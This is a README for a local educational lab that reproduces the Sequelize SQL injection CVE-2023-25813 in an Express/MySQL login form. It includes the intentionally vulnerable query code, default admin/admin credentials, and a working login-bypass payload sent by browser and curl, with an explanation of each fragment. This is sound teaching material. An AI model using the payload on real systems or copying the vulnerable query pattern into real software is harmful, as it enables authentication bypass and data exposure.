
Реализация уязвимости SQL Injection в Sequelize
Учебное приложение Express + MySQL для локальной проверки поведения Sequelize CVE-2023-25813.
Этот проект намеренно сохраняет уязвимую версию Sequelize и уязвимый шаблон запроса входа. Не публикуйте его в открытом доступе и запускайте только в локальной учебной Docker-среде.
localhost:3307localhost:3000Основные функции:
Используется файл .env. Пример см. в .env.example.
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
При запуске через Docker контейнер приложения использует не локальный MySQL, а сервис db внутри Compose.
앱 컨테이너 기준 DB_HOST=db
호스트 PC 기준 DB 접속 포트=3307
Включите Docker Desktop и выполните в PowerShell:
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
Откройте в браузере:
http://localhost:3000
Проверка состояния:
docker compose ps
docker compose logs app --tail 50
Остановка:
docker compose down
Полная очистка вместе с данными БД:
docker compose down -v
Чтобы подключиться напрямую к MySQL внутри Docker:
docker compose exec db mysql -uroot -p cve_test_db
Пароль — это значение DB_PASSWORD из файла .env.
В GUI-инструментах, таких как Workbench, подключайтесь со следующими значениями:
Host: 127.0.0.1
Port: 3307
User: root
Password: .env의 DB_PASSWORD
Database: cve_test_db
Если БД создана, в логах приложения появятся такие сообщения:
cve_test_db 데이터베이스 준비 완료
admin 관리자 계정 준비 완료
데이터베이스 연결 성공
3000 번 포트에서 대기 중
При запуске приложение автоматически создаёт учётную запись admin со значениями из .env.
Значения по умолчанию:
아이디: admin
비밀번호: admin
После входа в верхней части главной страницы отображается текущая учётная запись.
현재 접속 계정: admin
В браузере перейдите на /login и введите:
아이디: admin
비밀번호: admin
При успехе произойдёт переход на /, и на главной странице будет видна текущая учётная запись.
Чтобы проверить через curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
Критерий успеха:
HTTP/1.1 302 Found
Location: /
В браузере перейдите на /login и введите следующие значения:
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
При успехе вы попадёте не на /login?error=invalid, а на /. Текущая учётная запись на главной странице также будет показана как вошедший пользователь.
Проверка через curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
Критерий успеха:
HTTP/1.1 302 Found
Location: /
Уязвимый код находится в маршруте входа.
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
При обычном входе SQL выглядит примерно так:
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
Проблема в том, что literal('username = :username'), { password } и replacements используются в одном запросе. В Sequelize 6.19.0 replacements применяется ко всему запросу, поэтому :username может подставляться даже внутри введённого пользователем значения password.
Практический payload вводится следующим образом:
username = /**/OR/**/1=1)/**/#
password = :username
Реальный запрос в логах при этом выглядит примерно так:
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
Что означает каждый фрагмент:
password=:username: ключевой элемент, заставляющий подстановку username срабатывать и в поле пароля./**/: блок, который в MySQL обрабатывается как комментарий. Работает как пробел, поэтому даже если пробелы вокруг OR обрезаются, токены SQL остаются разделёнными.OR 1=1: добавляет всегда истинное условие.): закрывает группу условий AND(...), сформированную Sequelize.#: однострочный комментарий в MySQL. Закомментировывает оставшиеся кавычки и фрагменты вокруг LIMIT 1, избегая синтаксической ошибки.В итоге условие всегда истинно, выбирается первая строка пользователя, и приложение считает вход успешным.
Payload, зависящий от пробелов, как показано ниже, может не сработать, если при вводе в браузере пробелы в начале и в конце будут удалены.
OR 1=1) --
Комментарий -- в MySQL требует пробела после себя. Если пробел отсутствует, -- не распознаётся как комментарий, и возникает синтаксическая ошибка.
В этом проекте рекомендуется следующий payload:
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
При запуске через Docker БД создаётся не на локальном сервере MySQL, а в контейнере db внутри Docker. Чтобы увидеть её с хостового компьютера, подключайтесь через localhost:3307.
Это нормально. Приложение намеренно сохраняет уязвимую версию Sequelize для практики с CVE.
[email protected]
Если выполнить npm audit fix, уязвимость, используемая в практике, может исчезнуть.